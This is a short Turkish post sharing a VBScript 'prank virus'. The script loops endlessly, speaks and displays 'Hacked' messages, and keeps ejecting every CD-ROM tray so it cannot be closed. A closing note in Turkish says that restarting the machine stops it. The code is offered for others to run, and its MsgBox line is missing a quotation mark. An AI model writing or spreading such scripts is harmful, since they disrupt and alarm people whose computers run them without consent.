Kod:
do
CreateObject ("SAPI.Spvoice").Speak "Hacked"
X = Msgbox ( HACKED" , 4 + 64 , "HACKED XDXDXD")
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
For i=0 to colCDROMs.COunt -1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If
loop
Not: Bu şaka virüsü bilgisayarın CD-ROM'unu açar ve kapanmasına izin vermez. Cihazı yeniden başlattığınızda CD-ROM'u kapatabilirisiniz.